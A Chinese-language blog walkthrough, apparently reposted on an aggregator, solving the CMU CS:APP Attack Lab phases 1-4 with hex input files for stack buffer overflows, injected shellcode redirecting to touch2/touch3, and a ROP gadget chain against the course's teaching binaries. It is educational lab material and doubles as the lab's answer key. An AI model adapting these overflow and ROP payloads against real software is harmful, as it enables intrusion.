lab3 attacklab

phase1

首先,通过这个指令生成前三个阶段要用到的ctarget的反汇编代码objdump -d ./ctarget >> target.s
其次,假设我们的输入文件是touch1.txt,那么运行这个指令就可以去验证是否是正确的./hex2raw <touch1.txt | ./ctarget -q
整理一下phase1个意思

  1. 它想要我们通过输入使栈溢出,并且覆盖这个函数的返回地址,使这个地址指向我们想要的函数
  2. 因此,我们需要从十六进制的角度构造我们的输入
  3. 但是题目使用的是getbuf这个函数从标准输入区读取输入,因此它是以字符串的形式来读取。
  4. 我们需要把我们构造出来的十六进制数据转成对应的字符串。而这个工作cmu已经帮我们做好了,就是这个程序hex2raw
  5. 所以我们可以现在一个txt文件中写好我们的输入,然后通过上述程序将这个文件中的十六进制数据转为字符串,最后使用这个字符串作为ctarget的输入。
    接下来可以正式进入解题了
    整体的流程是,test函数会调用getbuf,我们需要在getbuf的函数中操作,使得getbuf不会正常返回,而是返回到touch1函数
    可以发现,getbuf这个函数给自己开辟了40个字节的栈空间,因此它的返回地址其实是在第41-48个字节
    因此,我们的注入应该包含48个字节
(gdb) disas getbuf
Dump of assembler code for function getbuf:0x00000000004017a8 <+0>:     sub    $0x28,%rsp0x00000000004017ac <+4>:     mov    %rsp,%rdi0x00000000004017af <+7>:     callq  0x401a40 <Gets>0x00000000004017b4 <+12>:    mov    $0x1,%eax0x00000000004017b9 <+17>:    add    $0x28,%rsp0x00000000004017bd <+21>:    retq
End of assembler dump.

接下来,需要找到touch1的地址,在我的这个文件里,touch1函数的起始地址是0x4017c0

(gdb) disas touch1
Dump of assembler code for function touch1:0x00000000004017c0 <+0>:     sub    $0x8,%rsp0x00000000004017c4 <+4>:     movl   $0x1,0x202d0e(%rip)        # 0x6044dc <vlevel>0x00000000004017ce <+14>:    mov    $0x4030c5,%edi0x00000000004017d3 <+19>:    callq  0x400cc0 <puts@plt>0x00000000004017d8 <+24>:    mov    $0x1,%edi0x00000000004017dd <+29>:    callq  0x401c8d <validate>0x00000000004017e2 <+34>:    mov    $0x0,%edi0x00000000004017e7 <+39>:    callq  0x400e40 <exit@plt>
End of assembler dump.

因此构造的输入应该是下面这样,前40个字节随便填,后面八个字节需要是地址,整体应该和下面一样。
其实最后八个字节到底按什么顺序写还是挺有讲究的。
首先,我们读入的内容是从栈顶到栈底一次写入,想一下内存中的栈的那个图,也就是说我们写入的东西其实从从下往上从右往左一个一个填入栈中的,因此按下面这个方式输入的话,在栈的某一层,存的应该是00 00 00 00 00 40 17 c0,乍一看这不就是我们的地址吗?说好的小端法呢?
先回忆一下小端法的定义,小端法指的是低位放在低地址处,我们这c0是低位,它放的是地址的低处吗?当然是,因为栈是从上往下递减的,虽然看着c0是放在最后面,但是其实它是低地址处。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

通过

woaixiaoxiao@LAPTOP-URFTCS5A:~/CSAPP/3_attacklab$ ./hex2raw <touch1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:user id bovikcourse  15213-f15lab     attacklabresult  1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

phase2

这一次就更大胆了,上次只是修改一下返回地址,使得程序转去执行已有的代码
这一次要做的事情是自己先写一段代码,然后重定向到自己写的代码中。
而自己写的汇编代码就是要调用void touch2(unsigned val)函数,并且还得穿个参数

  1. 传参数就是传自己的cookie:0x59b997fa到rdi寄存器,即函数的第一个参数所在的寄存器
  2. 然后就是转移到touch2,这里推荐的转移方法是通过ret指令,而ret指令是从栈中弹出一个地址,所以还需要先把要去的地址压栈
    首先,找到touch2的起始地址:0x00000000004017ec
    然后编写汇编文件
mov $0x59b997fa,%rdi
pushq $0x00000000004017ec
retq

然后将这个汇编文件转为二进制形式:因为我们需要二进制形式。

  1. 将这个汇编文件变成可执行文件gcc -c touch2.s
  2. 然后使用objdump -d touch2.o就可以获得有二进制的文件了
0000000000000000 <.text>:0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi7:   68 ec 17 40 00          pushq  $0x4017ecc:   c3                      retq   

因此,我们要输入13个字节,依次是48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
如果我们直接把这个作为输入,那么我们的程序就已经在内存中了,但是怎么去执行呢?那就要使用phase1中的重定向功能了
如果将13个字节中的48作为输入数据的开头,那么我们的程序的起始地址就是getbuf函数的栈顶,通过打断点然后查看rsp的值,发现rsp的值为0x5561dc78
至此,所有原材料都ok了,现在就是拼接成我们的输入

  1. 首先,重定向地址和phase1一样的输入方式
  2. 其次,我们写的代码,也就是48开头的那一拨,这些属于指令,指令就是从低地址开始取的,不需要考虑小端法。小端法只对数据有作用!
  3. 注意我们写的代码加上补充的0需要够40个字节。问就是我第一次少输入了八个字节的0
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

phase3

这一个阶段的意思是

  1. 首先我们依然要重定向到一个函数,这里是touch3,并且我们需要传入一个参数。这就是phase2的任务了
  2. 关键在于我们通过getbuf->touch3,在getbuf执行完之后,我们去执行touch3。在执行touch3的时候,getbuf函数的栈其实已经被收回了,而且在touch3中又调用了函数,所以原来getbuf的栈里的东西都不能用了。
  3. 而题目要求我们先把我们的字符串放到内存的某个位置,然后把这个字符串的地址作为参数传给touch3。传地址给touch3倒没啥问题,关键在于我们的字符串就不能放在getbuf的栈中了。哪里安全呢?这就是这个阶段的关键,我们要把字符串存到一个安全的内存去。
    哪里的内存是安全的呢?下面是函数的调用顺序,其中getbuf函数执行之后就把空间还回去了。最安全的地方当然还是往getbuf栈帧空间的上面去。也就是test的栈帧空间
  4. test
  5. getbuf
  6. touch3
  7. hexmatch
  8. strncmp
    首先,我的cookie是0x59b997fa,翻译为ascii码如下所示。注意:需要转为十六进制的表示。因此我这个字符串就应该是35 39 62 39 39 37 66 61 00。并且字符串也是没有字节序的概念的
字符:        '5'    '9'    'b'    '9'    '9'    '7'    'f'    'a'    '\0'
ASCII值:    53     57     98     57     57     55     102    97     0
十六进制:   35     39     62     39     39     37     66     61     00

通过gdb调试可以发现,test函数的栈帧从5561dca8开始,在调用getbuf之前,又向下扩展了8个字节,变成了5561dca0,而这个位置其实也就是我们之前一直偷偷放重定向函数的位置。
因此,我们的字符串应该放在5561dca8这里,其实也就是贴着重定向的地址放即可。
最终的答案如下,相比于第二阶段

  1. 只需要修改我们自己写的汇编代码的参数为字符串的地址
  2. 然后将汇编代码中touch2的地址改为touch3的地址
  3. 在最后面加上我们的字符串即可
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 // 以上为getbuf的栈帧
78 dc 61 55 00 00 00 00 // 这里的地址是5561dca0,存储的是重定向的地址
35 39 62 39 39 37 66 61 00 // 这里的地址是5561dca8,存储的是字符串

phase4

这个阶段要完成的任务和phase2是一样的,即

  1. 将我们的cookie传入rdi
  2. 将控制权移到touch2中
    但是这里的比较难,因为栈中的代码不可执行
    所以我们只能去已有的代码库中拼凑出我们需要的指令,一种思路是这样
  3. 将我们的cookie通过一个pop函数弹出到某个寄存器,因为pop函数不需要我们去指定地址,是自动从栈里弹出一个数字出来
  4. 然后将rdi设置为这个寄存器的值,找到一个对应的mov指令
  5. 上面那个指令应该以ret结尾,我们提前将touch2的地址放在栈中,这一ret,正好就跳到ret去执行了
    注意点
  6. 这个时候栈的地址是随机的,但是我们的输入塞到栈的缓冲区之后,逻辑上依然是和之前栈地址连续一样的,只不过显示出来的值是随机的
    首先,通过objdump -d rtarget > rtarget.txt将rtarget反汇编
    然后去start_farm到end_farm中去凑我们需要的指令,pop有以下这么多种,我们除了pop,还应该衔接一个ret,它的编码是0xc3,另外,我们出现0x90也是合法的,应该这玩意就是nop指令,摸鱼用的。

popq R 58 59 5a 5b 5c 5d 5e 5f

经过查找,发现了一个合适的,从4019ab开始,是58 90 c3分别代表了pop rax,nop,ret。

00000000004019a7 <addval_219>:4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax4019ad:	c3                   	retq   

如果栈中的结构如下所示,那么getbuf结束之后就会去执行4019ab处的代码,这个代码会将cookie放到rax中

  1. cookie
  2. 4019ab
  3. getbuf的缓冲区
    那么现在就应该在cookie上面再放一个地址,这个地址可以把rax的值挪到rdi中。查表之后发现,这个操作对应的机器码是48 89 c7。经过查找,下面这个片段可以利用,将地址放在4019a2,就正好执行了mov操作时候,ret掉
00000000004019a0 <addval_273>:4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax4019a6:	c3                   	retq  

那么ret应该ret到哪呢?当然是touch2的地址,去gdb中查询之后发现,touch2的地址是0x4017ec
由此,我们的原材料已经准备好了。这时候的栈从上到下应该是

  1. 0x4017ec
  2. 0x4019a2
  3. cookie(0x59b997fa)
  4. 0x4019ab
  5. getbuf的缓冲区
    因此,我们的输入应该是
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

运行测试程序./hex2raw <touch4.txt | ./rtarget -q,发现成功
有个注意点,那就是我们放在栈里面的基本都是地址,虽然写起来只写了几个字节,但是完整的地址应该是八个字节的,因此构造输入的时候是需要补0的。

phase5

第五个需要的原理和第四个差不多,要完成的效果和第三个phase差不多。
关键在于栈的地址不可控,因此需要在程序中去取rsp的值,然后把字符串存在一个距离rsp固定的地方
大佬链接这位大佬写的挺好的
注意了,ret指令,是从栈中弹出一个地址,然后去执行这个地址!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/14364.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MethodInterceptor

目录 1 MethodInterceptor 1.1 /// This will be called via Reflection 1.2 HandleAsync MethodInterceptor /// This will be called via Reflection /// </summary> /// <typeparam name"TResult"></typeparam> /// <param name"…

Flutter 开发者工具 Android Studio 开发Flutter应用

Flutter 开发者工具 在 Android Studio 开发Flutter应用 &#x1f525; Android Studio 版本更新 &#x1f525; Android Studio Check for Update Connection failed ​ 解决方案 如果是运行的是32位的android studio需要在andriod studio的启动目录下找到studio.exe.vmoptio…

WIZnet W5100S-EVB-Pico DHCP 配置教程(三)

DHCP协议介绍 什么是DHCP&#xff1f; 动态主机配置协议DHCP&#xff08;Dynamic Host Configuration Protocol&#xff09;是一种网络管理协议&#xff0c;用于集中对用户IP地址进行动态管理和配置。 DHCP于1993年10月成为标准协议&#xff0c;其前身是BOOTP协议。DHCP协议由…

Python批量下载主播照片,实现人脸识别, 进行颜值评分,制作颜值排行榜

昨晚一回家&#xff0c;表弟就神神秘秘的跟我说&#xff0c;发现一个高颜值网站&#xff0c;非要拉着我研究一下她们的颜值高低。 我心想&#xff0c;这还得要我一个个慢慢看&#xff0c;太麻烦了~ 于是反手用Python给他写了一个人脸识别代码&#xff0c;把她们的照片全部爬下…

【华为OD机试】 选修课

题目描述 现有两门选修课&#xff0c;每门选修课都有一部分学生选修&#xff0c;每个学生都有选修课的成绩&#xff0c;需要你找出同时选修了两门选修课的学生&#xff0c;先按照班级进行划分&#xff0c;班级编号小的先输出&#xff0c;每个班级按照两门选修课成绩和的降序排序…

【TiDB理论知识 07】SQL执行流程

一 DML语句读写流程 1 DML语句读流程概要 用户发出SQL 被协议层接收 Protocal Layer 通过PD获取时间戳 parse模块 解析SQL&#xff0c;通过词法解析 与 语法解析 生成AST语法树 编译SQL Compile模块 ,区分点查 与 非点查&#xff0c;生成执行计划 发送给Executor,从TIKV获…

AAOS 音频焦点请求

文章目录 前言基本概念提供给应用来获取音频焦点的apiAAOS中的音频焦点管理交互矩阵duck的实现流程AAOS 测试应用kitchensink焦点相关 前言 本文章的目标是首先了解Android中音频焦点的基本概念&#xff0c;理解代码中相关音频焦点的使用方法。其次理解AAOS 中相关交互矩阵概念…

[SQL挖掘机] - 字符串函数 - substring

介绍: substring函数是在mysql中用于提取字符串的一种函数。它接受一个字符串作为输入&#xff0c;并返回从该字符串中指定位置开始的一部分子串。substring函数可以用于获取字符串中的特定字符或子串&#xff0c;以便进行进一步的处理或分析。 用法: 下面是substring函数的…

【Linux】Centos的一些快捷操作

Centos的一些快捷操作 一个窗口多个终端GVIM 一个窗口多个文件 一个窗口多个终端 GVIM 一个窗口多个文件

Hadoop学习指南:探索大数据时代的重要组成——Hadoop概述

前言 在当今大数据时代&#xff0c;处理海量数据成为了一项关键任务。Hadoop作为一种开源的分布式计算框架&#xff0c;为大规模数据处理和存储提供了强大的解决方案。本文将介绍Hadoop的组成和其在大数据处理中的重要作用&#xff0c;让我们一同踏上学习Hadoop的旅程。 Hado…

Jenkins集成SonarQube保姆级教程

Jenkins是自动化部署平台&#xff0c;一个粗眉大眼的糙汉子&#xff01; SonarQube是代码扫描平台&#xff0c;一个眉目清秀的小女子&#xff01; 有一天&#xff0c;上天交给我一个任务&#xff0c;去撮合撮合他们&#xff01; 我抬头看了看天&#xff0c; 不&#xff0c;…

2023-07-30 LeetCode每日一题(环形链表 II)

2023-07-30每日一题 一、题目编号 142. 环形链表 II二、题目链接 点击跳转到题目位置 三、题目描述 给定一个链表的头节点 head &#xff0c;返回链表开始入环的第一个节点。 如果链表无环&#xff0c;则返回 null。 如果链表中有某个节点&#xff0c;可以通过连续跟踪 n…

只出现1次的数字(总结欢迎补充)

1.找只出现1次的数字,其余数出现n次 给你一个整数数组 nums &#xff0c;除某个元素仅出现 一次 外&#xff0c;其余每个元素都恰出现n次 。请你找出并返回那个只出现了一次的元素 当n等于2时 这道题可以使用异或运算来解决。我们知道&#xff0c;异或运算有以下性质&#xf…

Centos7中实现脚本使用mysqldump实现分库分表备份

脚本 #!/bash/bin userroot #用户名 password123456 #密码 back_path/backup/db databases_file/backup/databases.list [ -f $databases_file ] || touch /backup/databases.list if [[ ! -s ${databases_file} ]] then while read line do[ -d ${back_path}/$line ] …

【Python】数据分析+数据挖掘——探索Pandas中的数据筛选

1. 前言 当涉及数据处理和分析时&#xff0c;Pandas是Python编程语言中最强大、灵活且广泛使用的工具之一。Pandas提供了丰富的功能和方法&#xff0c;使得数据的选择、筛选和处理变得简单而高效。在本博客中&#xff0c;我们将重点介绍Pandas中数据筛选的关键知识点&#xff…

Git的.gitignore文件、标签管理以及给命令起别名

文章目录 1. 前言2. .gitignore文件3. 标签管理4. 给命令起别名 1. 前言 本文主要讲解Git中容易被忽略但比较重要一些知识:.gitignore文件、标签管理以及给命令起别名. 2. .gitignore文件 在新建仓库时,有一个添加.gitignore 模板: .gitignore 是一个用于指定 Git 忽略特定文…

第 356 场力扣周赛题解

A 满足目标工作时长的员工数目 签到题 class Solution { public:int numberOfEmployeesWhoMetTarget(vector<int> &hours, int target) {int res 0;for (auto x: hours)if (x > target)res;return res;} };B 统计完全子数组的数目 枚举子数组&#xff1a;枚举子数…

linux 日志 系统安全日志 web日志

web日志 LINUX日志系统之WEB日志&#xff08;一&#xff09;_dracut.log_麻子来了的博客-CSDN博客 系统安全日志 Linux系统安全日志详解_sinolover的博客-CSDN博客 wtmp和utmp文件都是二进制文件&#xff0c;需使用who、w、users、last和ac来操作这两个文件。 who /var/lo…

web-暴力破解密码

Burte Force&#xff08;暴力破解&#xff09;概述 暴力破解”是一攻击具手段&#xff0c;在web攻击中&#xff0c;一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录&#xff0c;直到得到正确的结果。 为了提高效率&…

【iOS】KVOKVC原理

1 KVO 键值监听 1.1 KVO简介 KVO的全称是Key-Value Observing&#xff0c;俗称"键值监听"&#xff0c;可以用于监听摸个对象属性值得改变。 KVO一般通过以下三个步骤使用&#xff1a; // 1. 添加监听 [self.student1 addObserver:self forKeyPath:"age"…